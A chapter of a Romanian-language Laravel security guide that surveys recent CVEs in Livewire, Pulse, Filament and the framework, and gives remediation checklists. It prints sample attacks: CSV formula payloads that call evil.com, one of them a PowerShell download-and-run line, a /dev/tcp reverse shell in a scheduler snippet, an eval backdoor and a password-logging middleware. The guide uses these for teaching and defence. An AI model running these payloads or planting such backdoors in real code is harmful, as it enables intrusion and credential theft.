Cele 12 CVE-uri pe care fiecare developer Laravel trebuie să le cunoască
Aplicația ta Laravel nu e doar codul tău. E construită pe un turn de dependențe: framework-ul însuși, Livewire, Filament, Pulse, Nova și zeci de pachete Composer. Orice vulnerabilitate din acel turn îți compromite întreaga aplicație.
Acest capitol documentează cele mai critice CVE-uri care afectează ecosistemul Laravel în 2024-2026. Unele dintre ele permit execuție de cod de la distanță fără autentificare. Dacă rulezi versiuni vulnerabile, serverul tău este probabil deja compromis.
Peisajul Amenințărilor (2024-2026)
Ecosistemul Laravel a văzut o schimbare semnificativă în vectorii de atac:
| Categorie | Frecvență | Impact | Vector Principal |
|---|---|---|---|
| RCE via Hidratare/Deserializare | Ridicată | Critic | Payload-uri JSON manipulate în Livewire/Pulse |
| Bypass Autentificare | Medie | Critic | Logică MFA defectuoasă (Filament) |
| Injecție Environment | Scăzută | Ridicat | Manipulare argv în configurări non-standard |
| Injecție CSV/Formule | Persistentă | Mediu | Exporturi de date nesanitizate |
Atacatorii Scanează Pentru Acestea
Scannere automate verifică zilnic instalări Livewire și Pulse vulnerabile. Aceste CVE-uri sunt exploatate activ în sălbăticie. Verifică-ți versiunile ACUM.
CVE-uri Critice (CVSS 9.0+)
Aceste vulnerabilități permit execuție de cod de la distanță fără autentificare. Dacă rulezi versiuni afectate, presupune compromitere până la proba contrarie.
CVE-2025-54068: RCE Livewire prin Hydration Smuggling
CVE-2025-54068 critical Execuție de Cod de la Distanță via Hydration Smuggling
livewire/livewire Affected: 3.0.0 - 3.6.3 Impact: Atacatorii pot executa cod arbitrar pe serverul tău fără autentificare.
Mecanism: Procesul de hidratare a proprietăților Livewire deserializează payload-uri JSON fără validare adecvată. Un atacator poate crea JSON malițios care, când este hidratat, instanțiază obiecte PHP arbitrare - ducând la RCE prin lanțuri gadget.
Remediere: Actualizează la Livewire 3.6.4+ sau 2.12.7+ IMEDIAT. Nu există workaround.
Cum funcționează atacul:
1. Atacatorul identifică componentă Livewire
2. Interceptează/modifică payload-ul JSON wire:snapshot
3. Injectează obiect malițios serializat
4. Livewire deserializează fără validare
5. Instanțierea obiectului declanșează RCE via __wakeup() sau __destruct()
// ORICE componentă Livewire cu proprietăți publice este vulnerabilă
class UserProfile extends Component
{
public $userData; // Poate fi manipulat via hidratare
public $settings; // Atacatorul controlează tipul
public function render()
{
return view('livewire.user-profile');
}
}
// Atacatorul trimite wire:snapshot modificat:
// {"userData":{"__PHP_Incomplete_Class_Name":"GadgetClass",...}} Indicatori de Compromitere:
- Request-uri neobișnuite pentru componente Livewire în loguri
- JSON malformat în datele
wire:snapshot - Tipuri de obiecte neașteptate în erori de hidratare
- Request-uri de la IP-uri malițioase cunoscute țintind
/livewire/
Tipar Detectare pentru composer.lock:
/livewire\/livewire.*"version":\s*"3\.[0-5]\./
CVE-2024-55661: RCE Laravel Pulse via remember()
CVE-2024-55661 critical RCE via Metoda Publică remember()
laravel/pulse Affected: < 1.3.1 Impact: Execuție de cod de la distanță prin dashboard-ul Pulse.
Mecanism: Metoda remember() din trait-ul Livewire al Pulse era accesibilă public, permițând atacatorilor să otrăvească cache-ul cu date serializate malițioase care se execută când sunt recuperate.
Remediere: Actualizează la Pulse 1.3.1+. Restricționează accesul la dashboard via Gates.
Vector de Atac:
1. Atacatorul accesează dashboard-ul Pulse (dacă nu e securizat corect)
2. Apelează remember() cu callback malițios
3. Callback-ul este serializat și stocat în cache
4. La următoarea recuperare, codul malițios se execută
Acces Dashboard = Acces Server
Dacă dashboard-ul tău Pulse este accesibil fără autentificare, ai probleme mai mari decât acest CVE. Întotdeauna securizează dashboard-urile de monitorizare.
CVE-uri Severitate Ridicată (CVSS 7.0 - 8.9)
Aceste vulnerabilități pot duce la bypass autentificare, escaladare privilegii sau expunere date sensibile.
CVE-2025-67507: Bypass MFA Filament
CVE-2025-67507 high Bypass Autentificare MFA via Reutilizare Coduri de Recuperare
filament/filament Affected: 4.0.0 - 4.3.0 Impact: Autentificarea multi-factor poate fi ocolită prin reutilizarea codurilor de recuperare.
Mecanism: După ce un cod de recuperare este folosit, nu este invalidat. Un atacator cu un cod de recuperare scurs îl poate folosi de nelimitat de ori.
Remediere: Actualizează la Filament 4.3.1+. Rotește TOATE codurile de recuperare pentru utilizatorii existenți.
Bug-ul:
// VULNERABIL: Codurile de recuperare nu sunt invalidate după utilizare
public function validateRecoveryCode($code)
{
return in_array($code, $user->recovery_codes);
// Lipsește: Elimină codul folosit din array!
}
// CORECTAT: Implementare corectă
public function validateRecoveryCode($code)
{
if (!in_array($code, $user->recovery_codes)) {
return false;
}
// Invalidează codul folosit
$user->recovery_codes = array_filter(
$user->recovery_codes,
fn($c) => $c !== $code
);
$user->save();
return true;
}
CVE-2024-52301: Injecție Variabile de Mediu
CVE-2024-52301 high Injecție Environment via argv
laravel/framework Affected: Versiuni multiple (vezi mai jos) Impact: Atacatorii pot manipula variabilele de mediu Laravel via query strings.
Mecanism: Când register_argc_argv=On în PHP, parametrii query string sunt parsați ca argumente de linie de comandă. Laravel le citește, permițând atacatorilor să seteze APP_ENV=local sau APP_DEBUG=true via URL.
Remediere: Actualizează Laravel. Setează register_argc_argv=Off în php.ini.
Versiuni Afectate:
- Laravel 6.x: < 6.20.45
- Laravel 7.x: < 7.30.7
- Laravel 8.x: < 8.83.28
- Laravel 9.x: < 9.52.17
- Laravel 10.x: < 10.48.23
- Laravel 11.x: < 11.31.0
Exemplu de Atac:
https://example.com/?APP_ENV=local&APP_DEBUG=true
Cu register_argc_argv=On, aceasta setează:
- APP_ENV → local (ocolește securitatea de producție)
- APP_DEBUG → true (activează CVE-2024-13919 XSS)
Verifică Configurația PHP:
// Rulează asta pe serverul tău
if (ini_get('register_argc_argv') === '1') {
echo "VULNERABIL! Setează register_argc_argv=Off în php.ini";
}
CVE-2024-13919: XSS pe Pagina de Debug
CVE-2024-13919 high XSS Reflectat pe Pagina de Eroare Debug
laravel/framework Affected: 11.9.0 - 11.35.x Impact: Cross-site scripting pe pagina de eroare debug Laravel.
Mecanism: Când APP_DEBUG=true, pagina de eroare reflectă input nesanitizat, permițând injecție de script.
Remediere: Actualizează la Laravel 11.36.0+. Asigură-te că APP_DEBUG=false în producție.
Mod Debug + Injecție Environment = Atac în Lanț
CVE-2024-52301 + CVE-2024-13919 pot fi înlănțuite: 1. Folosește injecție environment pentru a activa modul debug 2. Declanșează o eroare 3. Injectează payload XSS via pagina debug
CVE-2025-27515: Bypass Autorizare via Gates
CVE-2025-27515 high Bypass Autentificare via Gates Configurate Greșit
laravel/framework Affected: Multiple Impact: Bypass autorizare prin Gates definite incorect.
Mecanism: Anumite configurații de Gate pot fi ocolite, permițând acces neautorizat la resurse protejate.
Remediere: Actualizează framework-ul. Auditează toate definițiile de Gate pentru erori de logică.
Auditează-ți Gate-urile:
// Revizuiește toate definițiile Gate în AuthServiceProvider
Gate::define('admin', function ($user) {
// VULNERABIL: Niciun return false explicit
if ($user->is_admin) {
return true;
}
// Lipsește: return false;
});
// SECURIZAT: Întotdeauna returnează explicit
Gate::define('admin', function ($user) {
return $user->is_admin === true;
});
CVE-2025-54082: Vulnerabilitate Laravel Nova
CVE-2025-54082 high Vulnerabilitate de Securitate în Panoul Admin
laravel/nova Affected: Versiuni multiple Impact: Vulnerabilitate de securitate în panoul admin Nova.
Remediere: Actualizează la ultima versiune Nova. Auditează toate pachetele Nova third-party.
CVE-uri Severitate Medie
Aceste vulnerabilități necesită condiții specifice dar pot cauza în continuare daune semnificative.
CVE-2025-55745: Injecție Formule CSV
CVE-2025-55745 medium Injecție Formule CSV
maatwebsite/excel Affected: Versiuni multiple Impact: RCE pe partea clientului când utilizatorii deschid fișiere CSV/Excel exportate.
Mecanism: Câmpurile care încep cu =, +, -, @ sau caractere tab sunt interpretate ca formule de Excel. Formulele malițioase pot executa comenzi.
Remediere: Prefixează caracterele periculoase cu apostrof în timpul exportului.
Exemplu Payload:
=cmd|'/C calc'!A0
=HYPERLINK("http://evil.com/steal?d="&A1)
+cmd|'/C powershell IEX(wget evil.com/shell)'!A0
Fix:
// Sanitizează înainte de export
public function sanitizeForExcel($value): string
{
$dangerousChars = ['=', '+', '-', '@', "\t", "\r"];
if (isset($value[0]) && in_array($value[0], $dangerousChars)) {
return "'" . $value; // Prefixează cu apostrof
}
return $value;
}
Spatie Media Library XSS (Issue #3865)
SPATIE-ML-3865 medium XSS via Atribute HTML Nesanitizate
spatie/laravel-medialibrary Affected: Versiuni multiple Impact: Cross-site scripting prin atribute HTML nesanitizate în componentele Blade.
Remediere: Sanitizează explicit atributele custom înainte de a le pasa componentelor media library.
Vulnerabilități de Configurare
Acestea nu sunt CVE-uri dar sunt misconfigurări la fel de periculoase găsite în aplicații Laravel de producție.
CONFIG-001: Mod Debug în Producție
Greșeala #1 de Securitate Laravel
43% din site-urile Laravel compromise aveau APP_DEBUG=true în producție. Această singură setare expune: variabile de mediu, credențiale bază de date, stack trace-uri complete și activează multiple CVE-uri.
Verifică:
// Aceasta nu ar trebui să fie NICIODATĂ true în producție
if (config('app.debug') && config('app.env') === 'production') {
// EȘTI VULNERABIL
}
CONFIG-002: Debugbar în Producție
| Risc | Detalii |
|---|---|
| Variabile Environment | Toate valorile .env vizibile |
| Query-uri SQL | Query-uri complete cu binding-uri |
| Date Sesiune | Conținut complet sesiune |
| Date Request | Toți parametrii POST/GET |
Fix:
# Instalează doar în require-dev
composer require barryvdh/laravel-debugbar --dev
# .env (dezactivare explicită)
DEBUGBAR_ENABLED=false
CONFIG-003: Expunere APP_KEY
APP_KEY = Compromitere Server
Dacă APP_KEY-ul tău este scurs, atacatorii pot: - Decripta toate datele criptate - Falsifica cookie-uri de sesiune - Executa RCE via deserializare (lanțuri gadget phpggc) - Accesa conturi de utilizatori fără parole
Nu comite niciodată .env în git:
# .gitignore (OBLIGATORIU)
.env
.env.backup
.env.*.local
Dacă APP_KEY-ul tău a fost vreodată expus:
# 1. Generează cheie nouă
php artisan key:generate
# 2. Invalidează toate sesiunile
php artisan session:flush
php artisan cache:clear
# 3. Re-criptează datele sensibile (dacă ai folosit encrypt())
# Aceasta necesită migrare custom
# 4. Rotește toate token-urile API/parolele
CONFIG-004: Telescope în Producție
Laravel Telescope loghează fiecare request, query, job și excepție. Dacă e accesibil în producție:
| Date Expuse | Risc |
|---|---|
| Body-uri request | Credențiale, chei API în date POST |
| Query-uri bază de date | Structura tabelelor, date |
| Payload-uri job | Informații interne sistem |
| Trace-uri excepții | Căi complete de cod |
Securizează Telescope:
// app/Providers/TelescopeServiceProvider.php
protected function gate()
{
Gate::define('viewTelescope', function ($user) {
return in_array($user->email, [
'admin@yourdomain.com',
]);
});
}
CONFIG-005: register_argc_argv Activat
Această setare PHP activează CVE-2024-52301:
; php.ini - TREBUIE să fie Off
register_argc_argv = Off
Verifică toate serverele:
php -i | grep register_argc_argv
Tipare de Atac Specifice Laravel
Dincolo de CVE-uri, atacatorii țintesc arhitectura Laravel:
Service Provider-i Malițioși
Service provider-ii rulează la fiecare request. Un provider compromis = backdoor persistent.
// MALIȚIOS: Backdoor în service provider
class EvilServiceProvider extends ServiceProvider
{
public function boot()
{
if (request('backdoor') === 'secret') {
eval(request('cmd')); // Rulează la FIECARE request
}
}
}
Detectare: Scanează app/Providers/*.php pentru eval, shell_exec, system.
Middleware Malițios
Middleware-ul interceptează toate request-urile HTTP - perfect pentru furt de credențiale.
// MALIȚIOS: Middleware de furt credențiale
class ShadowMiddleware
{
public function handle($request, $next)
{
if ($request->has('password')) {
// Exfiltrează credențiale
file_put_contents('/tmp/.shadow',
$request->email . ':' . $request->password . "\n",
FILE_APPEND
);
}
return $next($request);
}
}
Comenzi Programate Otrăvite
Job-urile cron rulează cu privilegii de server:
// MALIȚIOS: Reverse shell în scheduler
$schedule->exec('bash -i >& /dev/tcp/evil.com/4444 0>&1')
->everyMinute();
Auditează-ți Kernel.php regulat.
Checklist Vulnerabilități
Rulează aceste verificări pe fiecare aplicație Laravel:
Acțiuni Imediate
# 1. Verifică versiunea Livewire
composer show livewire/livewire | grep version
# Trebuie să fie >= 3.6.4 sau >= 2.12.7
# 2. Verifică versiunea Pulse
composer show laravel/pulse | grep version
# Trebuie să fie >= 1.3.1
# 3. Verifică versiunea Filament
composer show filament/filament | grep version
# Trebuie să fie >= 4.3.1
# 4. Rulează Composer audit
composer audit
# 5. Verifică configurația PHP
php -i | grep register_argc_argv
# Trebuie să fie Off
Audit Configurație
// Rulează în tinker sau creează o comandă
$issues = [];
if (config('app.debug') && config('app.env') === 'production') {
$issues[] = 'CRITIC: APP_DEBUG=true în producție';
}
if (config('debugbar.enabled')) {
$issues[] = 'RIDICAT: Debugbar activat';
}
if (ini_get('register_argc_argv') === '1') {
$issues[] = 'RIDICAT: register_argc_argv=On (CVE-2024-52301)';
}
if (file_exists(base_path('.env')) && is_readable(base_path('.env'))) {
$envContent = file_get_contents(base_path('.env'));
if (strpos($envContent, 'APP_KEY=base64:') === false) {
$issues[] = 'CRITIC: APP_KEY nu e setat corect';
}
}
foreach ($issues as $issue) {
echo "❌ {$issue}\n";
}
if (empty($issues)) {
echo "✅ Verificările de securitate de bază au trecut\n";
}
Sumar
Ecosistemul Laravel s-a confruntat cu vulnerabilități critice în 2024-2026:
Acțiuni Prioritare:
- Actualizează Livewire la 3.6.4+ (CVE-2025-54068 - CRITIC)
- Actualizează Pulse la 1.3.1+ (CVE-2024-55661 - CRITIC)
- Actualizează Filament la 4.3.1+ și rotește codurile de recuperare
- Actualizează Laravel la ultima versiune patch
- Setează
register_argc_argv=Offîn php.ini - Asigură-te că
APP_DEBUG=falseîn producție - Nu activa niciodată Debugbar în producție
- Protejează APP_KEY - nu comite niciodată în git
Ține minte: Aceste CVE-uri sunt exploatate activ. Dacă rulezi versiuni vulnerabile, presupune că serverul tău necesită analiză forensică.
Următorul: Capitolul 7 - 40 de Verificări de Securitate pentru Aplicația Ta Laravel
Acum cunoști CVE-urile. Capitolul următor oferă un checklist comprehensiv pentru a-ți audita întreaga aplicație Laravel - de la autentificare la upload-uri de fișiere la securitatea API-urilor.